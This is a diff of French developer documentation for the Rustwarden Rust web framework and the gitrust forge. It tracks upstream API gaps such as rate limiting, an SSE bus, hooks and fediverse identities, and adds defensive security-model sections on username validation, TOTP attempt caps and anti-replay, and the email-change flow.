383 +- **Internes** a chaque service, non reutilisables.
384 +- **Cles hardcodees** (`user_id`, `email`) — impossible de passer une cle arbitraire.
385 +- Pas d'API publique `RateLimitService::check(key, per_minute)`.
386 +
387 +Resultat : chaque app reinvente son rate limiter (gitrust l'a deja fait pour la login dans Phase 4 via `check_auth_rate_limit`, c'est un bon exemple mais specifique login).
388 +
389 +**Workaround actuel cote gitrust** : non demarre pour l'import (plan `import-preview-rate-limit.md` en attente). Piste pretraitee :
390 +- Module `gitrust-core/src/rate_limit.rs` : rate limiter in-process (DashMap<String, WindowCounter>) avec fenetre glissante.
391 +- Signature : `check_rate_limit(key: &str, per_minute: u32) -> Result<(), AppError::TooManyRequests>`.
392 +- Pas de persistence (reset au restart acceptable pour ce scope).
393 +
394 +**Proposition upstream** : extraire un `RateLimitService` public generique. Refactor des 3 rate limiters existants pour l'utiliser (dog-fooding).
395 +
396 +```rust
397 +pub struct RateLimitService {
398 + buckets: Arc<DashMap<String, WindowCounter>>,
399 +}
400 +
401 +impl RateLimitService {
402 + pub fn new() -> Self;
403 +
404 + /// Verifie et incremente. Renvoie Err(TooManyRequests) si depassement.
405 + pub fn check(&self, key: &str, max_per_minute: u32) -> Result<(), AppError>;
406 +
407 + /// Variante avec fenetre custom (ex. 1h pour reset password).
408 + pub fn check_window(&self, key: &str, max: u32, window: Duration) -> Result<(), AppError>;
409 +
410 + /// Purge periodique des buckets expires (tache de fond).
411 + pub async fn cleanup_loop(&self, interval: Duration);
412 +}
413 +```
414 +
415 +Ajouter `AppError::TooManyRequests { retry_after_secs: u64 }` mappe sur HTTP 429 avec header `Retry-After`.
416 +
417 +**Pros** : mutualise 3 impls existantes. API generique servable a tout consommateur. `AppError::TooManyRequests` standardise la reponse 429 (absent aujourd'hui dans `AppError`).
418 +**Cons** : migration interne du framework (refactor des 3 services existants) — risque de regression. Impl in-process seulement ; pour Redis multi-instance, prevoir un trait `RateLimitBackend` (out-of-scope v1).
419 +
420 +**Criteres d'acceptation** :
421 +- [ ] `RateLimitService::check(key, per_minute)` public.
422 +- [ ] `AppError::TooManyRequests { retry_after_secs }` avec mapping HTTP 429 + header `Retry-After`.
423 +- [ ] `PasswordChangeService`, `PasswordResetService`, `EmailValidationService` refactors pour utiliser le service (tests existants passent sans modif).
424 +- [ ] Cleanup loop documente (evite la fuite memoire sur les cles mortes).
425 +- [ ] Tests : 10 appels OK dans la fenetre, 11e refuse, expiration de la fenetre libere.
426 +
427 +**Migration cote gitrust apres merge** :
428 +1. Bump `rustwarden-core`.
429 +2. Supprimer le module gitrust `rate_limit.rs` si cree temporairement.
430 +3. Injecter `RateLimitService` en Extension dans `main.rs` et l'appeler dans les handlers d'import.
431 +
432 +### ~~7. Pas de SSE broadcaster (bus de notifications temps reel)~~ — RESOLU 2026-04-23
433 +
434 +**Status** : Implemente dans Phase 6 du plan d'evolution ([docs/plans/2026-04-22-upstream-rustwarden-evolution.md](plans/2026-04-22-upstream-rustwarden-evolution.md)).
435 +
436 +Livre :
437 +- Trait [`NotificationBus<T>`](../crates/rustwarden-core/src/notifications/mod.rs) generique avec `publish` et `subscribe(filter)`.
438 +- Impl par defaut [`InMemoryBus<T>`](../crates/rustwarden-core/src/notifications/mod.rs) basee sur `tokio::sync::broadcast` — slow consumer drop proprement via `BroadcastStream::filter_map`, publisher ne panique pas sur receiver drop.
439 +- Helper axum [`sse::sse_response`](../crates/rustwarden-core/src/notifications/sse.rs) avec `KeepAlive(30s)` + JSON serialisation + drop silencieux des events non serialisables.
440 +- 7 tests (no-subscriber noop, delivery, multi-subscribers, filter, drop-safe, lag handling, sse response integration).
441 +- Feature `redis-bus` documentee comme extension v2 (hors scope v1).
442 +
443 +---
444 +
445 +### 7bis. Details historiques (avant resolution)
446 +
447 +**Date de detection** : 2026-04-21 (inventaire dette technique — plan `import-async-worker.md`).
448 +
449 +**Contexte** : plusieurs fonctionnalites gitrust necessitent de pousser des evenements temps reel au navigateur via Server-Sent Events :
450 +- Barre de progression d'import de repo (`GET /imports/:id/stream`).
451 +- Notifications CI (deja en prod cote gitrust — Phase 5).
452 +- Futurs besoins : live logs push/receive-pack, notifications d'issue/PR.
453 +
454 +**Limitation du framework** : aucun bus de notifications dans rustwarden-core. Le plan initial de l'import async evoquait "reutiliser `sse_broadcaster` framework" — c'etait une supposition erronee (verification grep : aucun `broadcast::`, aucun `axum::response::sse`, aucun `Sse::new` dans `crates/rustwarden-core/`).
455 +
456 +**Workaround actuel cote gitrust** : bus SSE existe cote gitrust pour la Phase 5 (notifications + CI live logs). Emplacement a verifier (probable `crates/gitrust-web/src/sse.rs` ou `crates/gitrust-core/src/notifications/`). L'import async-worker viendrait republier dessus ses `ImportProgress { job_id, received_bytes, total_bytes, phase }`.
457 +
458 +**Proposition upstream** : trait generique `NotificationBus<T>` dans le framework avec impl in-memory par defaut.
459 +
460 +```rust
461 +#[async_trait]
462 +pub trait NotificationBus<T: Clone + Send + Sync + 'static>: Send + Sync {
463 + /// Publie a tous les abonnes matchant le filtre.
464 + async fn publish(&self, event: T);
465 +
466 + /// Souscrit avec filtre. Retourne un flux tokio-stream.
467 + fn subscribe(&self, filter: impl Fn(&T) -> bool + Send + Sync + 'static)
468 + -> Pin<Box<dyn Stream<Item = T> + Send>>;
469 +}
470 +
471 +pub struct InMemoryBus<T> { tx: broadcast::Sender<T> }
472 +impl<T: Clone + Send + Sync + 'static> NotificationBus<T> for InMemoryBus<T> { ... }
473 +
474 +// Helper axum pour convertir une souscription en reponse SSE
475 +pub fn sse_response<T: Serialize>(stream: impl Stream<Item = T>) -> Sse<impl Stream<...>>;
476 +```
477 +
478 +Feature optionnelle `redis-bus` pour impl multi-instance.
479 +
480 +**Pros** : reutilisable par toutes les apps (gitrust import/CI, PasterMan wall updates). Le helper `sse_response` encapsule `KeepAlive` + serialisation JSON + gestion deconnexion (boilerplate aujourd'hui repete).
481 +**Cons** : generique `T` complique (certains consommateurs voudront un bus global heterogene — alternative : `NotificationBus<serde_json::Value>` avec `event_type` tag). Impl Redis feature-gated pour eviter de tirer la dep.
482 +
483 +**Criteres d'acceptation** :
484 +- [ ] Trait `NotificationBus<T>` + impl `InMemoryBus` sur `tokio::sync::broadcast`.
485 +- [ ] Helper `sse_response(stream)` produisant `axum::response::sse::Sse` avec `KeepAlive` (30s par defaut).
486 +- [ ] Gestion de la deconnexion client : le stream drop ne doit pas faire paniquer le publisher.
487 +- [ ] Tests : publish + multiple subscribers + filter discriminant + lag handling (broadcast `Lagged`).
488 +- [ ] Doc inline avec exemple complet (worker publie, handler souscrit, client JS `EventSource`).
489 +
490 +**Migration cote gitrust apres merge** :
491 +1. Bump `rustwarden-core`.
492 +2. Remplacer le bus gitrust local par `InMemoryBus<NotificationEvent>` framework.
493 +3. Remplacer les handlers SSE custom par `sse_response(bus.subscribe(filter))`.
494 +4. Publier `ImportProgress` sur le bus depuis `import_worker`.
495 +
496 +### ~~8. Hooks `RustwardenHooks` — manquent audit generique + team events + resource lifecycle~~ — RESOLU 2026-04-22
497 +
498 +**Status** : Implemente dans Phase 3 du plan d'evolution ([docs/plans/2026-04-22-upstream-rustwarden-evolution.md](plans/2026-04-22-upstream-rustwarden-evolution.md)).
499 +
500 +Ajoutes avec impl par defaut no-op (backwards-compatible) :
501 +- `on_resource_registered(db, resource_type, resource_id, owner_id)`
502 +- `on_resource_unregistered(db, resource_type, resource_id)`
503 +- `on_team_created(db, team_id, owner_id)` / `on_team_deleted(db, team_id)`
504 +- `on_team_member_added(db, team_id, user_id)` / `on_team_member_removed(db, team_id, user_id)`
505 +- `on_audit_event(db, AuditEvent { kind, actor_id, target, metadata })` — generique
506 +
507 +`AuthLoggingService::log_blocked_login` emet maintenant un `AuditEvent { kind: "auth.login_blocked" }` quand des hooks sont cables. Tests d'integration DB vert (5 tests).
508 +
509 +---
510 +
511 +### 8bis. Details historiques (avant resolution)
512 +
513 +**Date de detection** : 2026-04-21 (inventaire dette technique — LOTs 12/13 Issues/PR).
514 +**Revision** : 2026-04-22 — audit du code a revele que le trait expose deja 12 hooks (et non 4 comme ecrit initialement). La proposition est recentree sur les vrais manques.
515 +
516 +**Etat actuel** : [`RustwardenHooks`](../crates/rustwarden-core/src/hooks.rs) expose deja 12 evenements :
517 +- User lifecycle : `on_user_registered`, `on_user_login`, `on_user_logout`, `on_user_deleted`
518 +- Credentials : `on_password_changed`, `on_email_verified`, `on_totp_enabled`, `on_totp_disabled`, `on_oauth_login`
519 +- RBAC : `on_role_changed`
520 +- Resources : `on_resource_shared`, `on_resource_unshared`
521 +
522 +**Manques reels** pour les futurs LOTs gitrust (Issues, Pull Requests, Teams) et pour tout audit transverse, les consommateurs veulent :
523 +- Un hook generique `on_audit_event(kind, actor, target, metadata)` pour centraliser la logique de log/notification/indexation sans polluer chaque service.
524 +- Des hooks cibles `on_team_created`, `on_team_deleted`, `on_team_member_added`, `on_team_member_removed` (prerequis du gap-5).
525 +- Un hook `on_resource_registered` / `on_resource_unregistered` (gitrust-hooks loggue deja pour "repository" sans hook : code plus propre avec un hook).
526 +
527 +**Limitation du framework** : le trait est ferme par design (pas de methode par defaut pour les nouveaux variants sans casser les implementeurs).
528 +
529 +**Workaround actuel cote gitrust** :
530 +- Pour les evenements sensibles : appel direct a [`AuthLoggingService::log_*`](../crates/rustwarden-core/src/services/auth_logging_service.rs) depuis les handlers (pattern deja en place pour ban manuel, acl add).
531 +- Pour les Issues/PR : prevoir des hooks **gitrust-locaux** (`GitrustHooks` trait dans `gitrust-core`) sans modifier le framework. Cout : fragmentation (deux systemes de hooks coexistants).
532 +
533 +**Proposition upstream** : evoluer `RustwardenHooks` en deux temps.
534 +
535 +**Phase A** — ajouter les hooks manquants avec impl par defaut `async { Ok(()) }` (backwards-compatible) :
536 +
537 +```rust
538 +#[async_trait]
539 +pub trait RustwardenHooks: Send + Sync {
540 + // Existants
541 + async fn on_user_registered(&self, user: &UserRecord) -> Result<()> { Ok(()) }
542 + async fn on_user_deleted(&self, user_id: Uuid) -> Result<()> { Ok(()) }
543 + async fn on_resource_shared(&self, rt: &str, rid: Uuid, target: Uuid, perm: &str) -> Result<()> { Ok(()) }
544 + async fn on_resource_unshared(&self, rt: &str, rid: Uuid, target: Uuid) -> Result<()> { Ok(()) }
545 +
546 + // Nouveaux
547 + async fn on_resource_registered(&self, rt: &str, rid: Uuid, owner_id: Uuid) -> Result<()> { Ok(()) }
548 + async fn on_resource_unregistered(&self, rt: &str, rid: Uuid) -> Result<()> { Ok(()) }
549 + async fn on_team_created(&self, team_id: Uuid, owner_id: Uuid) -> Result<()> { Ok(()) }
550 + async fn on_team_deleted(&self, team_id: Uuid) -> Result<()> { Ok(()) }
551 + async fn on_team_member_added(&self, team_id: Uuid, user_id: Uuid) -> Result<()> { Ok(()) }
552 + async fn on_team_member_removed(&self, team_id: Uuid, user_id: Uuid) -> Result<()> { Ok(()) }
553 +
554 + // Generique (escape hatch pour evenements custom)
555 + async fn on_audit_event(&self, event: AuditEvent<'_>) -> Result<()> { Ok(()) }
556 +}
557 +
558 +pub struct AuditEvent<'a> {
559 + pub kind: &'a str, // ex. "issue.created", "pr.merged"
560 + pub actor_id: Option<Uuid>,
561 + pub target: Option<(&'a str, Uuid)>, // (resource_type, resource_id)
562 + pub metadata: &'a serde_json::Value,
563 +}
564 +```
565 +
566 +**Phase B** (optionnelle) — cabler `AuthLoggingService::log_*` pour appeler aussi `on_audit_event` afin que les consommateurs puissent brancher du monitoring sans reecrire la liaison.
567 +
568 +**Pros** : backwards-compatible (methodes par defaut). `on_audit_event` offre un escape hatch pour les LOTs gitrust (Issues, PR) sans forcer a ajouter un hook framework pour chaque type d'evenement. Prepare le terrain pour le gap-5 (TeamService).
569 +**Cons** : proliferation de methodes dans le trait (11 methodes a terme). Alternative : un seul `on_event(event: FrameworkEvent<'_>)` avec enum exhaustif — mais bloque les consommateurs sur l'enum framework.
570 +
571 +**Criteres d'acceptation** :
572 +- [ ] Nouveaux hooks ajoutes avec `async { Ok(()) }` par defaut (`gitrust-hooks` existant compile sans modif).
573 +- [ ] `AuditEvent<'_>` documente avec 2-3 exemples d'usage.
574 +- [ ] `AuthLoggingService::log_*` appelle `on_audit_event` (phase B).
575 +- [ ] Tests : impl vide compile, impl complete recoit bien chaque variant, erreur dans hook est propagee.
576 +
577 +**Migration cote gitrust apres merge** :
578 +1. Bump `rustwarden-core`.
579 +2. `gitrust-hooks` implemente `on_resource_registered` (replace la logique actuelle qui filtre par `resource_type == "repository"`).
580 +3. Implementer `on_team_*` quand LOT 14 arrive.
581 +4. Utiliser `on_audit_event` pour les Issues/PR (LOTs 12/13) au lieu de creer un `GitrustHooks` local.
582 +
583 +---
584 +
585 +## 9. Federation ActivityPub — RFCs gitrust soumises upstream
586 +
587 +Section ajoutee 2026-05-16 suite a l'integration fediverse cote gitrust (Lot 2 du plan [`docs/plans/2026-05-15-fediverse-integration-gitrust.md`](plans/2026-05-15-fediverse-integration-gitrust.md)). Quatre propositions soumises, toutes resolues upstream.
588 +
589 +### ~~9.1 Partage de ressource avec une identite remote~~ — RESOLU 2026-05-15 (RFC upstream 0029)
590 +
591 +**RFC gitrust** : [docs/rfcs/0001-fediverse-remote-resource-shares.md](rfcs/0001-fediverse-remote-resource-shares.md). Score 33/35.
592 +
593 +**Solution upstream** : nouveau service `rustwarden_fediverse::services::remote_resource_share_service::RemoteResourceShareService` + nouvelle table `fediverse_resource_shares` (migration `m20260516_000002_remote_resource_shares`).
594 +
595 +**API a consommer cote gitrust** :
596 +```rust
597 +use rustwarden_core::identity::Identity;
598 +use rustwarden_core::services::resource_service::ResourceService;
599 +use rustwarden_fediverse::services::remote_resource_share_service::RemoteResourceShareService;
600 +
601 +let level = match identity {
602 + Identity::Local(uid) => ResourceService::effective_permission_for_user(&db, uid, "repo", repo_id).await?,
603 + Identity::Remote(rid) => RemoteResourceShareService::effective_permission_for_remote_identity(&db, "repo", repo_id, rid).await?,
604 +};
605 +```
606 +
607 +**A consommer** : Lot 5.1 du plan fediverse, quand on activera le scenario "collaborateurs repo cross-instance".
608 +
609 +### ~~9.2 Personal Access Tokens pour identites remote~~ — RESOLU 2026-05-15 (RFC upstream 0030)
610 +
611 +**RFC gitrust** : [docs/rfcs/0002-fediverse-remote-personal-access-tokens.md](rfcs/0002-fediverse-remote-personal-access-tokens.md). Score 34/35.
612 +
613 +**Solution upstream** : nouveau service `rustwarden_fediverse::services::remote_personal_access_token_service::RemotePersonalAccessTokenService<S>` + table `fediverse_personal_access_tokens` (migration `m20260516_000003_remote_pat`). Prefixe token distinct : `rwfed_pat_<64 hex>`.
614 +
615 +**API a consommer cote gitrust** (Lot 5.3 du plan fediverse) :
616 +```rust
617 +// Discrimination par prefixe :
618 +if plaintext.starts_with("rwfed_pat_") {
619 + RemotePersonalAccessTokenService::<GitrustScope>::verify(&db, &plaintext).await?
620 + .map(|(m, s)| (Identity::Remote(m.remote_identity_id), s))
621 +} else {
622 + PersonalTokenService::<GitrustScope>::verify(&db, &plaintext).await?
623 + .ok()
624 + .map(|(m, s)| (Identity::Local(m.user_id), s))
625 +}
626 +```
627 +
628 +### ~~9.3 Membership de team avec une identite remote~~ — RESOLU 2026-05-15 (approche alternative upstream)
629 +
630 +**RFC gitrust** : [docs/rfcs/0003-fediverse-remote-team-memberships.md](rfcs/0003-fediverse-remote-team-memberships.md). Score 33/35. **Statut** : superseded.
631 +
632 +**Decision upstream** : la RFC 0003 a ete **rejetee dans sa forme initiale** (table separee `fediverse_team_memberships`) au profit d'une **approche pragmatique alternative** :
633 +
634 +- **Migration `m20260510_000016` framework** : `team_members.user_id` rendu NULLABLE + PK historique `(team_id, user_id)` remplacee par PK synthetique `id: Uuid`.
635 +- **Migration `m20260510_000015` framework** : nouvel index partial unique `team_members_remote_unique` sur `(team_id, remote_identity_id) WHERE remote_identity_id IS NOT NULL`.
636 +- **API `TeamService::add_member_identity(db, team_id, identity: Identity, role, hooks)`** Identity-aware : pour `Identity::Local` delegue a `add_member` ; pour `Identity::Remote` insere une row avec `user_id = NULL` et `remote_identity_id = Some(rid)`. Declenche `on_team_member_added` dans les deux cas.
637 +- **`FediverseInviteService::accept(db, invite_id, remote_id)`** materialise effectivement la membership a l'acceptation d'une invite cross-instance (auparavant silent no-op de la RFC 0014).
638 +- **`FediverseSignalService::apply_revoke_membership(db, team_id, remote_id)`** drop la row team_members correspondante quand un `Revoke{Membership}` AP entre.
639 +
640 +**Argument upstream** : pour les memberships, la semantique `team ↔ identity` est identique peu importe la nature du principal — donc l'extension de la table existante est plus pragmatique que la creation d'une table separee (comme pour resource_shares et PAT, ou la semantique d'ownership remote est distincte).
641 +
642 +**Contournement applique cote gitrust** : aucun. **Consommer directement l'API upstream** :
643 +```rust
644 +// Ajouter une identite (locale OU remote) a une team :
645 +TeamService::add_member_identity(
646 + &db, team_id, Identity::Remote(remote_identity_id), role, &hooks,
647 +).await?;
648 +
649 +// Lister tous les membres (locaux + remote en une requete) :
650 +let members = TeamService::list_members(&db, team_id).await?;
651 +// Chaque team_member::Model expose user_id: Option<Uuid> + remote_identity_id: Option<Uuid>
652 +```
653 +
654 +**Audit obligatoire** : la migration `m20260510_000016` a rendu `team_members.user_id` NULLABLE. **Toute requete SQL gitrust qui supposait `user_id NOT NULL` doit etre corrigee**. Verifie au Lot 0 :
655 +- [crates/gitrust-web/src/handlers/user_teams.rs:411, 416, 478](../crates/gitrust-web/src/handlers/user_teams.rs) — skip-and-continue les remote.
656 +- [crates/gitrust-web/src/handlers/admin_teams.rs:164, 169](../crates/gitrust-web/src/handlers/admin_teams.rs) — idem.
657 +- [crates/gitrust-web/src/handlers/user_teams.rs:49, 365](../crates/gitrust-web/src/handlers/user_teams.rs) — `find_by_id((tuple))` → `find().filter().filter()` (PK synthetique).
658 +
659 +**A finaliser** : Lot 5.4 du plan fediverse — adapter `RepositoryService::effective_role_via_teams_for_identity` cote gitrust-core pour interroger `team_members` avec un filtre `user_id OR remote_identity_id` selon l'`Identity` presentee.
660 +
661 +### ~~9.4 `AuthService` optional-auth fallback `AuthConfig::from_env()`~~ — RESOLU 2026-05-16 (RFC upstream 0031)
662 +
663 +**RFC gitrust** : [docs/rfcs/0031-auth-service-optional-fallback.md](rfcs/0031-auth-service-optional-fallback.md). Score 34/35.
664 +
665 +**Probleme** : la branche "optional auth" du middleware `AuthService` ne faisait pas le fallback `AuthConfig::from_env()` quand `Extension(Arc<AuthConfig>)` etait absent des request.extensions (cas typique selon l'ordre des layers tower). Resultat : claims jamais injectes pour les routes hors `protected_prefixes` (e.g. `/dashboard`), redirect silencieux vers `/login` malgre un cookie JWT valide.
666 +
667 +**Solution upstream** : alignement de la branche optional avec la branche protected — fallback `AuthConfig::from_env()` ajoute. Cf. [auth_service.rs:331](../crates/rustwarden-core/src/middleware/auth_service.rs#L331) "RFC 0031: mirror the protected branch fallback...".
668 +
669 +**Contournement applique cote gitrust** : prefixes reenregistres en 2026-09-17 (audit F-AUTH / plan A3) dans `src/main.rs` : `/dashboard`, `/settings`, `/teams`, `/notifications`, `/new`, `/imports`. A conserver jusqu'au merge du RFC A3 + `update-project`.
670 +
671 +---
672 +
673 +## Catalogue audit securite 2026-09-17 (PRs / RFC rustwarden)
674 +
675 +Frontiere : **ne jamais patcher `crates/rustwarden-core/`**. Chaque gap ci-dessous a un workaround Gitrust deja en place. Ouvrir les tickets dans le depot Rustwarden (`~/Documents/devel/Rustwarden`), puis `update-project`.
676 +
677 +### PRs Security (pas de RFC — bug interne ou liste de hardening)
678 +
679 +| ID | Constat | Action upstream | Workaround Gitrust |
680 +|----|---------|-----------------|--------------------|
681 +| E-3 | Anti-brute-force TOTP compte les challenges, pas les essais | Sommer `attempts` sur 15 min, plafond global (ex. 15) | Rate-limit `totp:<user>` + IP sur `POST /login/2fa` |
682 +| C-7 | Placeholder `JWT_SECRET=REMPLACER_…` absent de `KNOWN_EXAMPLES` | Ajouter le marqueur Gitrust (et variantes CHANGE/EXAMPLE/TODO) a `KNOWN_EXAMPLES` dans `config/auth.rs` | Garde `reject_placeholder_jwt_secret()` dans `src/main.rs` |
683 +| M-3 | Rate limit email inerte (nouvelle instance par requete) | Limiteur partagé (static / injecté) pour `PasswordResetService` / `EmailValidationService` | `OnceLock<PasswordResetService>` + limiteur IP |
684 +| M-8 | `bcrypt::verify` synchrone sur backup codes | `spawn_blocking` + comparaison sans court-circuit | Couvert par le rate-limit TOTP |
685 +| M-2 | `PasswordResetService::reset_password` n'appelle pas la complexité | Appeler `validate_password_complexity` dans le service (si traité comme bug) | Validation Gitrust avant `hash_password` / reset |
686 +| E-12 | bumps `bcrypt` / `rustls` / `h2` | Bump dans le `Cargo.toml` framework | `russh` 0.60.3 cote gitrust-ssh ; audit Dagger `--deny warnings` |
687 +
688 +### RFC (changement d'API, de defaut, de schema ou de politique de secu)
689 +
690 +| ID | Constat | Nature RFC | Workaround Gitrust |
691 +|----|---------|------------|--------------------|
692 +| M-1 | `username` non valide | Validation charset dans `UserService::create_user` + `RegisterRequest` | Newtype `Username` avant tout appel framework |
693 +| M-10 | CSP `unsafe-inline` + `unsafe-eval` | Politique de secu par defaut, ou API `security_headers_config` additive | `SetResponseHeaderLayer::overriding` + JS externe |
694 +| M-5 | Changement d'email conserve `email_verified` | Flux confirmation + alerte ancienne adresse (schema probable) | Handler profil refuse le changement d'email |
695 +| M-7 | Pas d'anti-rejeu TOTP | Colonne `last_used_step` (migration) | `RateLimitService` `totp_code:{user}:{code}` 90 s |
696 +| E-4 | `AuthService` ignore `validation_email_required` | Refus par defaut des emails non verifies | Check Gitrust apres `authenticate_user` |
697 +| E-2 | Limiteur login seulement sur `/api/v1/auth/login` | Exposer le limiteur aussi sur le canal browser | `OnceLock<RateLimitService>` SSR |
698 +| F-UI | En-tetes COOP/CORP | En-tetes securite configurables | Override Gitrust (`same-origin`) |
699 +
700 +Gitrust n'attend **pas** ces RFC pour se proteger : les workarounds des lots 1–4 ferment les scenarios A–D.
701 +
702 +---
703 +
704 +## Protocole de remontee upstream
705 +
706 +Quand une amelioration est mergee upstream :
707 +1. Ajouter une ligne dans `CHANGELOG.md` cote gitrust : `resolved upstream: <nom>`.
708 +2. Supprimer la section correspondante de ce fichier.
709 +3. Creer un ticket de migration si necessaire (decompactage du workaround + bump de version).
710 +
711 +Les sections restent dans ce fichier tant que l'amelioration n'est pas dispo en release stable du framework — c'est la source unique pour eviter d'oublier un workaround actif.
M docs/developer-guide/07-security-model.md
+296 -5
@@ -19,6 +19,11 @@ Ce document décrit les contrôles de sécurité mis en œuvre dans Rustwarden :
19 19 | Clickjacking | `frame-ancestors 'none'` dans CSP + X-Frame-Options | [`app.rs`](../../crates/rustwarden-core/src/app.rs#L737) |
20 20 | Open redirect | Validation du paramètre `redirect` (doit commencer par `/`) | middleware `auth_required` |
21 21 | Fuite de session via TOTP brute-force | Max 5 tentatives par challenge, 5 min TTL | [`services/totp_service.rs`](../../crates/rustwarden-core/src/services/totp_service.rs) |
22 +| Rejeu d'un code TOTP valide (multi-réplicas) | `user_totp.last_used_step` consommé par compare-and-set SQL (RFC 0037) | [`services/totp_service.rs`](../../crates/rustwarden-core/src/services/totp_service.rs) |
23 +| Injection via username (chemins d'URL, logs, templates) | Newtype `Username` sur les frontières d'écriture (RFC 0036) | [`types/username.rs`](../../crates/rustwarden-core/src/types/username.rs) |
24 +| Prise de contrôle par changement d'e-mail | Flux en deux temps : mot de passe courant exigé, adresse écrite seulement après clic sur le lien envoyé à la nouvelle boîte, alerte + lien de signalement à l'ancienne, sessions révoquées à la confirmation (RFC 0041) | [`services/email_change_service.rs`](../../crates/rustwarden-core/src/services/email_change_service.rs) |
25 +| Confirmation déclenchée par le préchargement d'un lien (passerelle anti-phishing) | Page interstitielle : aucun `GET` n'a d'effet de bord, l'action passe par le `POST` d'un formulaire (RFC 0041) | [`auth/email_change_pages.rs`](../../crates/rustwarden-core/src/auth/email_change_pages.rs) |
26 +| Contournement de la politique « e-mail vérifié » par appel direct au service | Contrôle déplacé dans `AuthService::authenticate_user` (RFC 0040) | [`services/auth_service.rs`](../../crates/rustwarden-core/src/services/auth_service.rs) |
22 27 | Élévation de privilèges via lien OAuth | Vérification email vérifié par le provider | [`services/oauth/service.rs`](../../crates/rustwarden-core/src/services/oauth/service.rs) |
23 28 | Déni de service mémoire sur rate limiter | Cap à 100 000 entrées distinctes | [`services/rate_limit_service.rs`](../../crates/rustwarden-core/src/services/rate_limit_service.rs) |
24 29
@@ -197,6 +202,86 @@ Les administrateurs peuvent forcer un changement de mot de passe via le flag `mu
197 202
198 203 ---
199 204
205 +## Politique de nommage des comptes (`Username`)
206 +
207 +Depuis la [RFC 0036](../rfcs/0036-username-charset-validation.md), un username n'est plus une `String` libre bornée en longueur : c'est un newtype validé, [`rustwarden_core::types::Username`](../../crates/rustwarden-core/src/types/username.rs), re-exporté par le prelude. Il est calqué sur `TeamSlug` et suit les règles de GitHub.
208 +
209 +### Règles appliquées par `Username::parse`
210 +
211 +| Règle | Détail |
212 +|---|---|
213 +| Longueur | 3 à 39 caractères, mesurés **après `trim()`** |
214 +| Charset | `[a-z0-9-]` uniquement (minuscules ASCII, chiffres, tiret) |
215 +| Majuscules | **Rejetées**, jamais repliées : `Alice` renvoie une erreur, il ne devient pas `alice` |
216 +| Tirets | Ni en tête ni en queue, pas de `--` consécutifs |
217 +| Noms réservés | `types::team_slug::RESERVED` + `EXTRA_RESERVED` (`me`, `explore`) |
218 +
219 +Le rejet des majuscules plutôt qu'un `to_lowercase()` silencieux est un choix de sécurité : un fold implicite permettrait à `Alice` et `alice` d'entrer en collision sur la même ligne, ou de créer un compte visuellement différent d'un compte existant. Toute violation renvoie `AppError::Validation` → HTTP 400.
220 +
221 +### Où la règle est appliquée
222 +
223 +Une seule **porte de validation** — `UserService::create_user` — plus un contrôle de frontière publique sur `POST /api/v1/auth/register` (défense en profondeur, `RegisterRequest.username` est borné à 39 côté `validator`).
224 +
225 +```mermaid
226 +flowchart TD
227 + REG["POST /api/v1/auth/register"] --> PARSE1["Username::parse()"]
228 + ADMIN["Handler admin / provisioning"] --> CREATE
229 + PARSE1 --> CREATE["UserService::create_user()"]
230 + CREATE --> PARSE2["Username::parse() — porte unique"]
231 + PARSE2 --> INSERT[("INSERT users")]
232 +
233 + BOOT["ensure_default_admin()"] --> ALLOW["create_user_allow_reserved()\nUsername::parse_allow_reserved()"]
234 + ALLOW --> INSERT
235 +
236 + PROFILE["update_profile(username = Some(x))"] --> SAME{"x == username courant ?"}
237 + SAME -->|Oui| NOOP["No-op — grandfathering préservé"]
238 + SAME -->|Non| PARSE3["Username::parse() + contrôle d'unicité"]
239 + PARSE3 --> UPDATE[("UPDATE users")]
240 +```
241 +
242 +`create_user_allow_reserved` est `pub(crate)` et **réservé à `ensure_default_admin`** : il accepte les noms réservés (pour que `ADMIN_USERNAME=admin` continue de booter) mais applique toujours le charset et la longueur. `AdminConfig::validate` délègue au même parse permissif — un `ADMIN_USERNAME` avec une majuscule ou un `_` fait **échouer le boot** sur le chemin de création de l'admin.
243 +
244 +### Grandfathering
245 +
246 +Aucun `CHECK` SQL n'a été ajouté, aucune migration ne réécrit les lignes existantes. Conséquences :
247 +
248 +- un compte historique hors charset (`John_Doe`, `alice.bob`) **se connecte toujours** — les chemins de lecture n'appellent jamais `parse` ;
249 +- `update_profile` ne valide que sur un **vrai rename**. Si le client renvoie le username courant (les formulaires de profil postent tous les champs), c'est un no-op complet ;
250 +- ce même compte ne peut pas être renommé vers une autre valeur hors charset.
251 +
252 +### Utiliser `Username` dans votre propre code
253 +
254 +Utile dès que vous générez ou acceptez un identifiant avant de le confier au framework (import LDAP, provisioning SSO, seed, CLI d'administration) :
255 +
256 +```rust
257 +use rustwarden_core::prelude::*; // Username, UserService, AppError
258 +
259 +async fn provision(
260 + db: &sea_orm::DatabaseConnection,
261 + raw_login: &str,
262 + email: String,
263 + password_hash: String,
264 +) -> Result<(), AppError> {
265 + // Échoue tôt, avec un message exploitable, avant tout accès base.
266 + let username = Username::parse(raw_login)?;
267 +
268 + UserService::create_user(db, username.into_inner(), email, password_hash, true).await?;
269 + Ok(())
270 +}
271 +```
272 +
273 +Pour n'afficher qu'un message de validation côté formulaire :
274 +
275 +```rust
276 +if let Err(e) = Username::parse(&form.username) {
277 + return Ok(render_form_with_error(&e.to_string()));
278 +}
279 +```
280 +
281 +Les candidats générés automatiquement par OAuth passent par `OAuthService::generate_unique_username`, qui produit déjà des valeurs conformes : minuscules `[a-z0-9]`, base tronquée à 30 caractères (marge pour les suffixes `-NNN` et `-<hex8>`), suffixe `-user` si la base tombe sur un nom réservé.
282 +
283 +---
284 +
200 285 ## TOTP / 2FA
201 286
202 287 ```mermaid
@@ -244,11 +329,184 @@ L'algorithme TOTP utilisé est SHA1, 6 chiffres, période 30 secondes — confor
244 329
245 330 Référence : [`services/totp_service.rs`](../../crates/rustwarden-core/src/services/totp_service.rs)
246 331
332 +### Plafonds de tentatives (1.0.1)
333 +
334 +| Contrôle | Valeur | Constante |
335 +|---|---|---|
336 +| Tentatives par challenge | 5 | `MAX_CHALLENGE_ATTEMPTS` |
337 +| Somme des tentatives par utilisateur / 15 min | 15 | `MAX_ATTEMPTS_PER_WINDOW` |
338 +| TTL d'un challenge | 5 min | `CHALLENGE_EXPIRY_MINUTES` |
339 +| TTL de la garde anti-rejeu in-process | 90 s | `REPLAY_GUARD_TTL_SECS` |
340 +
341 +Le plafond global est vérifié à la **création** du challenge (`TotpService::create_challenge`) et compte la **somme** des tentatives sur tous les challenges de la fenêtre, et non le nombre de challenges saturés : créer un nouveau challenge ne remet pas le budget à zéro. Un dépassement renvoie `AppError::TotpMaxAttemptsExceeded`.
342 +
